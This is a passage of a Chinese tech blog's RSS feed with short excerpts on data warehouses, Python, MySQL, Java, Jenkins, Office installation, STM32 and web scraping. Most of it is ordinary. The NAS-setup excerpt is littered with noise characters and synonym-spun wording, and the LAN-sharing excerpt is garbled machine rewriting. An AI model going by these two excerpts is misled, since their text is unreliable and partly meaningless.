      <description>目录&#xA;前言：&#xA;一. 各种名词解释&#xA;1.1 ODS是什么？&#xA;1.2 数据仓库层DW？&#xA;1.2.1 DWD明细层?&#xA;1.2.2 DWM 轻度汇总层(MID或DWB, data warehouse basis)&#xA;1.2.3 DWS 主题层(DM，data market或DWS, data warehouse service)&#xA;1.3 APP？&#xA;1.4 数据的来源&#xA;1.5 ODS、DW → App层&#xA;1.6 维表层DIM？&#xA;1.7 层级的简单分层图&#xA;二. 问题&#xA;2.1 DWS 与 DWD？&#xA;2.2 ODS与DWD区别？&#xA;2.3 app层干什么的？&#xA;三. 总结&#xA;前言： 不是做数仓的，但是也需要了解数仓的知识。&#xA;其实分层好多因人而异，问了同事好多分层的区别也不是很清晰。&#xA;所以后续有机会还是跟数仓的同事碰一下吧~&#xA;一. 各种名词解释 1.1 ODS是什么？ ODS层最好理解，基本上就是数据从源表拉过来，进行etl，比如mysql 映射到hive，那么到了hive里面就是ods层。ODS 全称是 Operational Data Store，操作数据存储.“面向主题的”，数据运营层，也叫ODS层，是最接近数据源中数据的一层，数据源中的数据，经过抽取、洗净、传输，也就说传说中的 ETL 之后，装入本层。本层的数据，总体上大多是按照源头业务系统的分类方式而分类的。但是，这一层面的数据却不等同于原始数据。在源数据装入这一层时，要进行诸如去噪(例如有一条数据中人的年龄是 300 岁，这种属于异常数据，就需要提前做一些处理)、去重(例如在个人资料表中，同一 ID 却有两条重复数据，在接入的时候需要做一步去重)、字段命名规范等一系列操作。 1.2 数据仓库层DW？ 数据仓库层(DW)，是数据仓库的主体.</description>
    </item>
    <item>
      <title>python中简述对象和类的关系_简述 Python 的类和对象</title>
      <link>https://bchobby.github.io/posts/3edc7eedc377c3e16add0d09ddcfd4dd/</link>
      <pubDate>Wed, 03 Feb 2021 12:07:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3edc7eedc377c3e16add0d09ddcfd4dd/</guid>
      <description>系列最后一篇来说说Python中的类与对象，Python这门语言是无处不对象，如果你曾浅要了解过Python，你应该听过Python是一种面向对象编程的语言，所以你经常可能会看到面向“对象”编程这类段子，而面向对象编程的语言都会有三大特征：封装、继承、多态。&#xA;我们平时接触到的很多函数、方法的操作都具有这些性质，我们只是会用，但还没有去深入了解它的本质，下面就介绍一下关于类和对象的相关知识。&#xA;封装&#xA;封装这个概念应该并不陌生，比如我们把一些数据封装成一个列表，这就属于数据封装，我们也可以将一些代码语句封装成一个函数方便调用，这就是代码的封装，我们也可以将数据和代码封装在一起。用术语表示的话，就是可以将属性和方法进行封装，从而得到对象。&#xA;首先我们可以定义一个类，这个类中有属性和方法，但有的伙伴会比较好奇，属性和方法不是会封装成对象嘛，为什么又变成类了？举个例子，类就好比是一个毛坯房，而对象是在毛坯房的基础上改造成的精装房。&#xA;class XiaoMing:&#xA;#属性&#xA;height = 180&#xA;weight = 65&#xA;sex = &#39;男&#39;&#xA;#方法&#xA;def run(self):&#xA;print(&#39;小明在跑步&#39;)&#xA;def sleep(self):&#xA;print(&#39;小明在睡觉&#39;)&#xA;在类定义完成时就创建了一个类对象，它是对类定义创建的命名空间进行了一个包装。类对象支持两种操作：属性引用和实例化。&#xA;属性引用的语法就是一般的标准语法：obj.name。比如XiaoMing.height和XiaoMing.run就是属性引用，前者会返回一条数据，而后者会返回一个方法对象。&#xA;In[1]:print(XiaoMing.height)&#xA;Out[1]:180&#xA;In[2]:print(XiaoMing.run)&#xA;Out[2]:&#xA;这里也支持对类属性进行赋值操作，比如为类中的weight属性赋予一个新值。&#xA;In[3]:print(XiaoMing.weight)&#xA;Out[3]:65&#xA;In[4]:XiaoMing.weight = 100&#xA;In[5]:print(XiaoMing.weight)&#xA;Out[5]:100&#xA;而类的实例化可以将类对象看作成一个无参函数的赋值给一个局部变量，如下：&#xA;In[6]:ming = XiaoMing()&#xA;ming就是由类对象实例化后创建的一个实例对象，通过实例对象也可以调用类中的属性和方法。&#xA;In[7]:ming.run()&#xA;Out[7]:小明在跑步&#xA;In[8]:print(xiaoming.height)&#xA;Out[8]:180&#xA;#通过向类对象调用方法返回的方法对象中传入实例对象也可以达到同样效果&#xA;In[11]:XiaoMing.run(ming)&#xA;Out[11]:小明在跑步&#xA;魔法方法__init__&#xA;类在实例化过程中并不都是像上面例子一样简单的，一般类都会倾向将实例对象创建为有初始状态的，所以在类中可能会定义一个__init__的魔法方法，这个方法就可以帮助接收、传入参数。&#xA;而一个类如果定义了__init__方法，那么在类对象实例化的过程中就会自动为新创建的实例化对象调用__init__方法，请看下面这个例子。&#xA;class Coordinates:&#xA;def __init__(self,x,y):&#xA;self.x = x&#xA;self.y = y&#xA;def print_coor(self):&#xA;print(&#39;当前坐标为(%s,%s)&#39;%(self.x,self.y))&#xA;可以看到在__init__()中传入了参数x和y，然后在print_coor中需要接收参数x和y，接下来通过实例化这个类对象，验证一下参数是否能通过__init__()传递到类的实例化操作中。&#xA;In[9]:coor = Coordinates(5,3)</description>
    </item>
    <item>
      <title>最佳Python学习路线</title>
      <link>https://bchobby.github.io/posts/70e35bdbb47494c9df92e2b96593a07f/</link>
      <pubDate>Wed, 03 Feb 2021 11:46:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70e35bdbb47494c9df92e2b96593a07f/</guid>
      <description>本人具有3年+Python编程经验，目前在一头部教育类公司担任Python开发的工作。经过自己大量的实践与摸索为大家总结一条最佳Python学习路径。此外，本人最近新建了一个Python萌新交流群，由我本人亲自带，如有需要，可关注公号加群。&#xA;对于没有编程基础且非科班出身的同学而言，其实第一步是最困难的，也劝退了很多人，就是搭建开发环境。所以新手在刚刚开始学习编程的时候，最好是找视频教程来看，而且是那种手把手教的那种。从搭建环境到写出一个简单的程序HelloWorld,并且初步了解该语言。&#xA;在通过视频学习过后，已经基本上了解了该语言，并可以写简单程序的情况下。后续就不要再看视频了，因为视频花费的时间太多，而吸入的知识量太小，这时候就要学会看文档或者博客。通过文字的形式来吸收，速度会进步的更快些。我当时在这个阶段是看的廖雪峰老师的Python教程，大家也可以跟着教程学习，并且跟着教程多敲代码多练。进阶推荐看《流畅的Python》这本书，教程中有感觉困难的点不用死磕，因为可能那个知识点对于现阶段的你理解很困难，但是通过后面的大量练习再反过头来看，有可能就会有恍然大悟的感觉。&#xA;在跟着教程学习完之后，可能还是会有自己什么都不会的感觉。别担心，是很正常的情况。这个时候最好选定一个方向，来做几个项目，做项目既能够锻炼自己的代码能力，也能够加强自己的自信心。就以Python举例而言，可选的方向有爬虫，数据分析，后端以及算法。现在企业中用Python来做算法的需求还是挺大的，但是算法这块对于学历而言是有要求的，最好是硕士。当然，如果你能力特强，那就可以忽略。&#xA;我当时选的方向是爬虫，因为感觉能够获取到数据感觉好炫酷，由此走上了一条不归路。在爬虫这条道路上，我做了很多项目，也学习了很多教程，量多的我自己都记不太清了。但是可以给大家推荐一本书，是我认为写的非常好而且也适合初学者的一本书。就是崔庆才大佬写的《Python3网络爬虫开发实战》，如果能把这本书的知识完全吃透，可以说应聘一个爬虫工程师的岗位已经不在话下。&#xA;如果按照上面我给的路径学习完了的话，恭喜你，已经是一名合格的爬虫工程师了，可以应对现在市面上90%的网站了。剩下的10%的网站就需要用到js逆向的知识了，而且现在很多数据开始转移到app端，所以最近很多公司招聘的爬虫工程师也需要具备app抓取的能力。当然，这都是后面爬虫工程师进阶的内容了，等你走到那一步了可以再找我详聊哦。&#xA;以上就是我所分享的关于新手如何学习编程的知识啦。大家学习编程不要怕，只要迈出第一步，后面的路自然就越走越顺啦。学习知识的时候遇到困难的点不用死磕，先放一放，等后面经过大量的练习自然慢慢的就懂啦。一句话，多敲代码。&#xA;来日正长，大家一起加油！&#xA;如需获取Python各类资料以及想加入交流群记得关注公众号哦！</description>
    </item>
    <item>
      <title>mysql查询表名、列名、注释以及列名拼接操作</title>
      <link>https://bchobby.github.io/posts/89e2f626e08a468386bd599fd00749c8/</link>
      <pubDate>Tue, 02 Feb 2021 22:57:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89e2f626e08a468386bd599fd00749c8/</guid>
      <description> 如果本文对您有所帮助，可以点一下赞👍&#xA;本文只是学习笔记，欢迎指错，转载标明出处&#xA;1、查询表名，注释 SELECT table_name, table_comment FROM information_schema.TABLES WHERE table_schema = &#39;数据库名&#39; and table_name = &#34;表名&#34; 2、查询列名，注释 select table_name, column_name, column_comment from information_schema.columns where table_name = &#39;表名&#39;; 3、列名拼接操作 -- 单个格最大存储的字节数 show VARIABLES LIKE &#39;group_concat_max_len&#39; -- 设置大一些，防止显示不全， session表示当前回话有效，关闭窗口重新打开失效 SET SESSION group_concat_max_len=10240; select id,group_concat(&#34;需要拼接的字段&#34; separator &#39;分隔符&#39;) from 表名 group by id; </description>
    </item>
    <item>
      <title>OutputStream转InputStream</title>
      <link>https://bchobby.github.io/posts/9d7abb449a1fe95f8916cc8af1066ec4/</link>
      <pubDate>Tue, 02 Feb 2021 22:19:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d7abb449a1fe95f8916cc8af1066ec4/</guid>
      <description> 如果本文对您有所帮助，可以点一下赞👍&#xA;本文只是学习笔记，欢迎指错，转载标明出处&#xA;1、OutputStream转InputStream这是一个不合常理的想法 1.1、OutputStream和InputStream均是抽象类，它们内部并有保存数据的变量，转换并没有有意义，定义如下,&#xA;public abstract class InputStream implements Closeable { //... } public abstract class OutputStream implements Closeable, Flushable { //... } 1.2、OutStream和InputStream的作用不同&#xA;一个OutputStream是用来写的，&#xA;一个IntputStream是用来读的。&#xA;假设一个是用来写&#34;abc.txt&#34;，一个是用来读&#34;abc.txt&#34;，这两的概念不同。&#xA;2、为什么有人想要OutputStream转InputStream 2.1有个场景如下，后端需要生成一个文件，而开发者又不想在本地缓存（磁盘io效率低），所以在生成文件的时候，会得到一个OutputStream的流(OutStream便于输出文件)，开发者这时候有需要将新生成的文件上传到文件服务器（一般文件服务提供的sdk需要的参数就是IntputStream，因为IntputStream便于读取需要上传的文件）。现在的情况就是生成的是OutStream类，但是上传的却是IntputStream，部分的开发者就会想“OutputStream如何转InputStream”这个问题。&#xA;2.2真正的解决方法是使用缓存数组和java继承思想&#xA;ByteArrayOutputStream是OutputStream的一个实现类，在生成文件的时候它可以代替OutputStream的位置，并且它里面会有个byte buf[]，里面才是存储文件实际数据的变量&#xA;//定义如下 public class ByteArrayOutputStream extends OutputStream { protected byte buf[]; //... } 同理ByteArrayIntputStream是IntputStream的一个实现类，在生成文件的时候它可以代替IntputStream的位置。ByteArrayOutputStream转换ByteArrayIntputStream，其实就是转换里面byte数组&#xA;byte[] buffer =byteArrayOutputStream.toByteArray(); InputStream sbs = new ByteArrayInputStream(buffer); </description>
    </item>
    <item>
      <title>pycharm的Teminal执行allure命令报错：‘allure‘ 不是内部或外部命令，也不是可运行的程序 或批处理文件。（已解决）</title>
      <link>https://bchobby.github.io/posts/973727de7500e64a6bea15048fb5cbe2/</link>
      <pubDate>Tue, 02 Feb 2021 14:17:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/973727de7500e64a6bea15048fb5cbe2/</guid>
      <description>pycharm的Teminal执行allure命令报错：‘allure’ 不是内部或外部命令，也不是可运行的程序 或批处理文件。（已解决） 解决方法：以管理员权限运行pycharm</description>
    </item>
    <item>
      <title>java时间差工具类</title>
      <link>https://bchobby.github.io/posts/5eaaf49ce858e50dde11fd82bc15beb3/</link>
      <pubDate>Tue, 02 Feb 2021 11:29:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5eaaf49ce858e50dde11fd82bc15beb3/</guid>
      <description>分享一个我目前在用的时间差工具类,比较实用,方便检测方法的耗时 /** * @author : xuzhennan * @email : xuzhennan@58.com * @date : 2021年01月15日 8:19 上午 */ public class TimeUtils { /** @return 当前毫秒数 */ public static long nowMs() { return System.currentTimeMillis(); } /** * 当前毫秒与起始毫秒差 * * @param startMillis 开始纳秒数 * @return 时间差 */ public static long diffMs(long startMillis) { return diffMs(startMillis, nowMs()); } public static long diffMs(long startMillis, long endMIllis) { return endMIllis - startMillis; } } 在项目中的应用,主要是在日志中记录该方法的耗时时长 logger.</description>
    </item>
    <item>
      <title>centos7解决jenkins安装插件失败问题</title>
      <link>https://bchobby.github.io/posts/4389b5fbf31f4342aa9be35811d28a31/</link>
      <pubDate>Tue, 02 Feb 2021 11:01:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4389b5fbf31f4342aa9be35811d28a31/</guid>
      <description> Centos7下安装了jenkins, 却发现安装不了插件。&#xA;jenkins安装插件失败 Caused: javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.lang.reflect.Constructor.newInstance(Constructor.java:423) at sun.net.www.protocol.http.HttpURLConnection$10.run(HttpURLConnection.java:1890) at sun.net.www.protocol.http.HttpURLConnection$10.run(HttpURLConnection.java:1885) at java.security.AccessController.doPrivileged(Native Method) at sun.net.www.protocol.http.HttpURLConnection.getChainedException(HttpURLConnection.java:1884) at sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1457) at sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1441) at sun.net.www.protocol.https.HttpsURLConnectionImpl.getInputStream(HttpsURLConnectionImpl.java:254) at hudson.model.UpdateCenter$UpdateCenterConfiguration.download(UpdateCenter.java:1258) 修改default.json, 重启解决 /var/lib/jenkins/updates/ sudo sed -i &#39;s#updates.jenkins.io/download/plugins#mirrors.tuna.tsinghua.edu.cn/jenkins/plugins#g&#39; default.json sudo sed -i &#39;s#www.google.com#www.baidu.com#g&#39; default.json sudo sed -i &#39;s#https://mirrors.tuna.tsinghua.edu.cn#http://mirrors.tuna.tsinghua.edu.cn#g&#39; default.json systemctl restart jenkins </description>
    </item>
    <item>
      <title>SCADE — 产品级安全关键系统的MBD开发套件</title>
      <link>https://bchobby.github.io/posts/25a77f9b745a47edcafc7dd8af362729/</link>
      <pubDate>Tue, 02 Feb 2021 10:05:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25a77f9b745a47edcafc7dd8af362729/</guid>
      <description>随着新能源三电、智能驾驶等新技术的应用，汽车中衍生出很多的安全零部件，如BMS、VCU、MCU、ADAS等，相应的软件在汽车中的比重越来越大，随之而来的安全性、可靠性要求也越来越高。&#xA;ANSYS主要针对安全零部件的嵌入式产品级软件提供了SCADE开发套件，支持嵌入式软件详细设计和代码自动生成，有效缩短产品研制周期，提高产品研制效率，提高产品质量。&#xA;产品功能&#xA;SCADE开发套件由以下主要部分组成:&#xA;• SCADE Architect：支持SysML建模能力，可以利用 SysML模型对系统行为及架构进行建模。还在SysML的基础上进行封装定制，扩展出了针对汽车嵌入式系统设计解决方案（AUTOSAR）、AADL及FACE解决方案等。&#xA;• SCADE Suite：套件的核心组件，支持控制逻辑详细建模、仿真验证、代码自动生成。基于形式化语言“SCADE”，语法严谨，减少代码生成配置环节，一键从模型生成代码，且代码生成器通过ISO 26262等行业安全标准认证（TCL3），经过安全认证（ASIL D）的代码生成器，适用于高安全软件开发（适用于C 和Ada），支持标定和NI/dSPACE等HIL桥接。&#xA;• SCADE Suite Gateway for Simulink：支持将Simulink模型与SCADE模型的双向转换。&#xA;• SCADE Display：支持HMI详细设计、仿真验证、代码自动生成。支持生成OpenGL/OpenGL Safety/OpenGL ES代码，代码生成器的通过行业安全标准认证，适用于高安全软件开发。&#xA;• SCADE Test：支持对SCADE模型进行验证，包括对SCADE模型进行覆盖率分析、自动化测试环境以及和目标测试平台工具的桥接等。&#xA;• SCADE Lifecycle：支持和ALM/PLM（例如DOORS、Reqtify、Polarion）进行桥接实现生命周期数据管理、文档自动生成等。&#xA;• SCADE汽车包，专为汽车领域提供SCADE Architect 和SCADE Suite扩展，包括:&#xA;♦ AUTOSAR定制符合AUTOSAR4.2.2标准&#xA;♦ 支持SCADE Architect项目ARXML文件的导入/导出&#xA;♦ 支持SCADE Architect和SCADE Suite进行双向同步，确保架构模型和详细设计模型一致性&#xA;♦ SCADE Suite生成的代码符合AUTOSAR标准&#xA;♦ 支持ASAM MCD-2 DC（aka ASAP2）软件标定和测量</description>
    </item>
    <item>
      <title>Rabin Karp算法寻找目标字符串在原字符串中的位置</title>
      <link>https://bchobby.github.io/posts/03c9f85019dc316d56c91da5448a7719/</link>
      <pubDate>Mon, 01 Feb 2021 22:34:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03c9f85019dc316d56c91da5448a7719/</guid>
      <description>文章目录 前言一、使用rabin karp算法寻找目标字符串在原字符串中的位置。总结 前言 注：本文主要作为自己学习的记录，并没有详细介绍算法的每一步骤，如有问题欢迎讨论。&#xA;要解决的问题如下例：&#xA;在&#34;abcde&#34; 中寻找&#34;bcd&#34;，则返回位置：1。&#xA;一、使用rabin karp算法寻找目标字符串在原字符串中的位置。 代码如下：在这里插入代码片&#xA;public int targetIndex(String source, String target) { if (source == null || target ==null || source.equals(&#34;&#34;) || target.equals(&#34;&#34;)) return -1; final int BASE = 1000000; int tL = target.length(); // 31^tL； power的作用是用于减去原先第一个数，例如： abcd - a； // 为什么不是31^(tL-1)呢，因为bcd最高次数为31^(tL-1)，因此被减去的a的位数只能是31^(tL-1) int power = 1; for (int i = 0; i &amp;lt; tL; i++) { power = (power * 31) % BASE; } int targetCode = 0; for (int i = 0; i &amp;lt; tL; i++) { targetCode = (targetCode * 31 + target.</description>
    </item>
    <item>
      <title>STM32-HAL库-printf函数重定向（USART应用实例）</title>
      <link>https://bchobby.github.io/posts/e378b96275b8cc75020f325f98126e9a/</link>
      <pubDate>Mon, 01 Feb 2021 22:02:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e378b96275b8cc75020f325f98126e9a/</guid>
      <description>STM32-HAL库-printf函数重定向（USART应用实例） 文章目录 STM32-HAL库-printf函数重定向（USART应用实例）前言一、STM32CubeMX配置串口二、代码修改1.引入printf重定向代码块2.添加#include 前言 为了便于调试，我们可以利用printf打印出调试的信息，在STM32应用中，我们就可以利用printf函数通过串口打印信息到串口调试助手上&#xA;一、STM32CubeMX配置串口 配置好时钟树后配置串口：&#xA;二、代码修改 1.引入printf重定向代码块 代码如下：&#xA;/* USER CODE BEGIN 0 */ #include &amp;lt;stdio.h&amp;gt; #ifdef __GNUC__ #define PUTCHAR_PROTOTYPE int _io_putchar(int ch) #else #define PUTCHAR_PROTOTYPE int fputc(int ch, FILE *f) #endif /* __GNUC__*/ /****************************************************************** *@brief Retargets the C library printf function to the USART. *@param None *@retval None ******************************************************************/ PUTCHAR_PROTOTYPE { HAL_UART_Transmit(&amp;amp;huart1, (uint8_t *)&amp;amp;ch,1,0xFFFF); return ch; } /* USER CODE END 0 */ 经博主反复尝试和测试，这段代码最适合加在CubeMX自动生成后的usart.c文件的 / * USER CODE BEGIN 0 * / 和 / * USER CODE END 0 * / 中间</description>
    </item>
    <item>
      <title>typescript保留小数位和类型判断</title>
      <link>https://bchobby.github.io/posts/58696933d5a3b4261217a9c5e114020b/</link>
      <pubDate>Mon, 01 Feb 2021 15:56:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58696933d5a3b4261217a9c5e114020b/</guid>
      <description>let num: number = 123456789.789; let str: string = num.toFixed(2); 还是可以 //1. typeof typeof padding === &#34;number&#34;; typeof padding === &#34;string&#34;; typeof obj === &#34;object&#34;; //2. instanceof if(padder instanceof User){ } //3. constructor.name if(this.constructor.name==&#34;User&#34;){ } /** * 校验字符串是否是数值(包含小数与负数) * 示例： * false : . 1. 1sr - 12. -12. * true: -12 -12.0 -12.056 12 12.0 12.056 * * @param str 需要校验的字符串 * @return false :不是数值 true：是数值 */ public Boolean checkNumber(String str) { String regex = &#34;</description>
    </item>
    <item>
      <title>安装 office2021</title>
      <link>https://bchobby.github.io/posts/f2a437781ecf439ee0c3a6af118b665a/</link>
      <pubDate>Mon, 01 Feb 2021 12:50:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2a437781ecf439ee0c3a6af118b665a/</guid>
      <description>修改安装路径 打开 C:\Program Files，查看是否有 Microsoft Office 文件夹，如有则删除；若先前已安装 Office，则将其卸载后删除该文件夹，如不重新安装直接剪切文件夹将无法使用 OneDrive 并持续报错，注：32 位系统对应目录为C:\Program Files (x86)在想要存放的位置新建名为 Microsoft Office 的文件夹，下以 D:\Program Files 为例以管理员权限打开命令提示符：开始菜单-Windows 系统-命令提示符-右键-更多-以管理员身份运行右键粘贴并回车执行这条命令 mklink /j &#34;C:\Program Files\Microsoft Office&#34; &#34;D:\Program Files\Microsoft Office&#34;C:\Program Files 出现带箭头文件夹图标即成功链接文件夹注：C:\Program Files\Microsoft Office 15 也是安装目录，但占用空间小，可不理会，下面进入安装阶段 下载并安装 下面开始，注意office 2021（从2019开始只支持Windows 10)&#xA;https://www.microsoft.com/en-us/download/office.aspx 找到Office Deployment Tool 工具，打开网页后，下载 或直接打开Download Office Deployment Tool from Official Microsoft Download Center&#xA;我们得到一个类似这样的文件：officedeploymenttool_14326-20404.exe。双击运行解压，指定一个目录，得到如下四个文件：&#xA;这里只需要保留setup.exe，其它的预设xml配置文件可以删掉，我们接下来要自己生成配置文件。&#xA;创建自定义配置文件 https://config.office.com/&#xA;首先左侧选择64位Office，然后在产品一栏中选择要部署的产品和应用下拉菜单，点击添加，之后添加按钮变为更新按钮。右侧栏显示当前的已选择配置。&#xA;之后对update channel升级通道进行选择。默认是Office 2019 Perpetual Enterprise通道，部署版本为“最新”或者根据需要点击下拉菜单选择需要的版本。&#xA;对产品和版本选择完毕之后。进入下一步的语言选择。&#xA;根据需要选择需要使用的界面主要语言（必选）和附加语言（可选）。此处我们以简体中文Chinese（Simplified China）为例。&#xA;语言选择完毕之后进入下一步的安装选项，主要是设定Office产品的部署方式，包括CDN和本地，以及安装时的用户交互及细节设定。根据需要进行选择。个人用户选择CDN即可。&#xA;对安装部署方式设定完毕之后进入下一步的更新和升级选项。和上一步对应可选有CDN和本地源。这里默认勾选了删除传统Office MSI版本的选项。以及具体的安装卸载设定。根据需要进行勾选即可。&#xA;对安装和更新选项设定完毕之后进入授权和激活步骤。以KMS激活方式为例。</description>
    </item>
    <item>
      <title>win10局域网共享设置_win10一键局域网共享工具使用教程</title>
      <link>https://bchobby.github.io/posts/64a9da76ae68e146e384200a71581384/</link>
      <pubDate>Mon, 01 Feb 2021 08:40:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64a9da76ae68e146e384200a71581384/</guid>
      <description>我们想在建立局域网时共享数据和设备。有些朋友认为在计算机上设置局域网资源共享步骤太麻烦了。他们下载了一键式局域网资源共享工具，但对其软件并不熟悉。他们询问如何在win10系统中使用一键局域网共享工具。让我们看看&#xA;win10系统中如何实现一键共享局域网？事实上，市面上有很多一键式的局域网共享工具，操作起来非常方便。一个按钮可以设置局域网共享。Win7和win10系统适用。我已经整理出如何使用win10一键局域网共享工具。让我们了解一下&#xA;win10的一键LAN共享工具 1。打开下载一键式局域网共享工具，根据需要选择共享模式，点击界面右下角的共享设置&#xA;局域网共享图详情-1&#xA;2。在设置界面，选择打开的假冒案件局域网共享，点击完成设置&#xA;Win10一键LAN共享图详细信息-2&#xA;3。单击下面菜单中的“共享文件夹”按钮&#xA;Win10图表详细信息-3&#xA;4。弹出“浏览文件夹”窗口，选择要共享的文件，然后单击“确定”&#xA;局域网共享图详情-4&#xA;5。输入共享名称，选择共享模式，然后单击“确定”以共享。然后其他人可以看到您通过其他计算机共享的文件&#xA;局域网共享图详情-5&#xA;以上是如何使用win10一键局域网共享工具。如果你学会了如何使用它，试试看</description>
    </item>
    <item>
      <title>python显示运行时间_几种Python代码运行时间获取方式</title>
      <link>https://bchobby.github.io/posts/7938509cd3e20c80c1c2505df2ebf38d/</link>
      <pubDate>Mon, 01 Feb 2021 08:34:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7938509cd3e20c80c1c2505df2ebf38d/</guid>
      <description>在编写代码的过程中，为了提高代码的运行速度，我们常常需要对书写的python代码进行性能测试，而代码性能高低的直接反馈之一就是电脑运行代码所需要的时间。今天小编在这里给大家介绍几种常用的测试代码运行速度的方法。&#xA;第一种：使用time模块对代码的运行时间进行统计&#xA;效果如下：&#xA;我们采用time 模块给所要测试的代码的前后加上时间戳，一个记为start_time，一个记作end_time，最后代码块的运行时间为end_time-start_time，单位为s(秒)。当然在python中还有许多的记录时间的模块，这里不做过多讨论，均类似于time模块，实现思路上一致，代码实现上大同小异。&#xA;第二种：使用IPython的Built-in magic commands,%time&#xA;这个类定义是可以去掉的，并不会影响最终的结果，%time 后面加上想要计算时间的代码，然后编译器就会在运行后自动给出所测试代码的运行时间，但是经过测试，%time方法测出的时间并不准确，时间波动范围非常大，这个是很好理解的，因为计算机每时每刻都在处理一些进程，也就是说计算机的运行状态每时每刻都是不同的，所以在不同的时刻测试同一段代码的运行时间也会得到不同的结果。&#xA;第三种：用IPython的另一个Built-in magic commands,%timeit，使用方法类似于%time&#xA;我们可以看到得到的结果是：每个循环8.53 ms±452 µs（平均±标准偏差，共运行7次，每个循环100个）%timeit相比于%time，%timeit会多次执行测试代码，并且会取它们运行时间的平均值，并且还会计算出它们的标准差，因此这种计算方法计算的结果相对于使用%time执行测试代码一次是比较准确的。&#xA;第四种：导入timeit模块来计算代码块的执行时间&#xA;效果如下：&#xA;导入timeit模块后使用timeit.timeit()来测试想要测试的代码，并且代码以string的形式进行输入，并且需要设定number值，设定测试的该段代码需要执行的次数，最终我们得到0.05363089999991644，单位是s(秒)，与内置魔法方法%timeit方法不同的是虽然也是多次计算，但是最终获取的时间是n次执行代码所需的总时间而不是执行一次的时间。&#xA;以上，放进自己的代码里试试看吧~</description>
    </item>
    <item>
      <title>freenas 蜗牛星际_蜗牛星际 B款 配置、安装OpenMediaVault</title>
      <link>https://bchobby.github.io/posts/eb39de4c22be3940f0fb2c856fb65889/</link>
      <pubDate>Mon, 01 Feb 2021 03:47:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb39de4c22be3940f0fb2c856fb65889/</guid>
      <description>蜗牛星际 B款 设置、安装OpenMediaVault采办来由&amp;amp; b+ Y1 r% i0 e1 ~; Z5 X9 \&#39; |0 k&#xA;自从客岁手机莫名坏掉，致使大部分照片损失后，我就起头自己在家组nas，用于存储家里每小我手机中的照片、视频，同时也作为下载电影的家庭收集硬盘。最关键的，划出了自力的分区用来备份我工作的材料。比来“喜逢”蜗牛星际矿难，大量矿难机低价出现在市道上。我看了一下，J1900的CPU，4焦点4线程，2G主频，4G内存，还送个16G的MSATA口的SSD，4硬盘位。除了电源比力渣滓，是150W之外，其他还行，最最少值了260元的票价了。经过谨慎挑选，动手了B款(仿“万由”)单网卡版本。今朝看，这个版本的硬件题目最少。&#xA;) k7 ^1 x( J9 r&#34; o3 v/ ?表面展现: d&amp;amp; o V; U1 a7 z6 N0 Y&#xA;021516573pyni310int.jpg (83.45 KB)&#xA;021516573pyni310int.jpg&#xA;2019-4-2 14:57 上传&#xA;- C5 U&amp;amp; Q6 e5 L+ I4 _3 G利用感受&#xA;. s) b9 s( K/ `4 U! D$ _1BIOS设备安装系统之前，先搞定BIOS设备。原本的设备为了采矿办事，插电会自动开机，而且貌似没有插显现器还不能开机……(这个题目倡议左右开弓，BIOS改，操纵系统也改)下面把我的BIOS设备贴上来，只贴点窜的部分。1.1设备“启动系统”设备启动系统，保证安装NAS系统后，可以经过远程方式关机。进入“Advanced”页，“OS Slection”挑选“Windows 8.X”。&#xA;$ `+ {- m# ]0 q0 w5 |&#xA;02151657g2lcaqbfcbf.jpg (91.02 KB)</description>
    </item>
    <item>
      <title>python爬虫实践1：豆瓣top250</title>
      <link>https://bchobby.github.io/posts/c1542b31214ed76f1caed8db2e843ca9/</link>
      <pubDate>Sun, 31 Jan 2021 17:14:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1542b31214ed76f1caed8db2e843ca9/</guid>
      <description>一个比较简单的实践代码一次能过，代码如下&#xA;#!/user/bin/python3 # -*- coding = utf-8 -*- # @Time : 2021/1/31 # @Author : schKatze # @File : try # -*- coding: utf-8 -*- from bs4 import BeautifulSoup import re import urllib.request, urllib.error import xlwt findLink = re.compile(r&#39;&amp;lt;a href=&#34;(.*?)&#34;&amp;gt;&#39;) findImgSrc = re.compile(r&#39;&amp;lt;img.*src=&#34;(.*?)&#34;&amp;gt;&#39;, re.S) findTitle = re.compile(r&#39;&amp;lt;span class=&#34;title&#34;&amp;gt;(.*)&amp;lt;/span&amp;gt;&#39;) findRating = re.compile(r&#39;&amp;lt;span class=&#34;rating_num&#34; property=&#34;v:average&#34;&amp;gt;(.*)&amp;lt;/span&amp;gt;&#39;) findJudge = re.compile(r&#39;&amp;lt;span&amp;gt;(\d*)人评价&amp;lt;/span&amp;gt;&#39;) findInq = re.compile(r&#39;&amp;lt;span class=&#34;inq&#34;&amp;gt;(.*)&amp;lt;/span&amp;gt;&#39;) findBd = re.compile(r&#39;&amp;lt;p class=&#34;&#34;&amp;gt;(.*?)&amp;lt;/p&amp;gt;&#39;, re.S) def getData(baseurl): datalist = [] for i in range(0, 10): url = baseurl + str(i * 25) html = askURL(url) soup = BeautifulSoup(html, &#34;</description>
    </item>
    <item>
      <title>BottomSheetBehavior实现高德地图首页效果之原理篇</title>
      <link>https://bchobby.github.io/posts/2e6c9a9b030aae3f0391072759a22508/</link>
      <pubDate>Sun, 31 Jan 2021 16:48:46 +0800</pubDate>
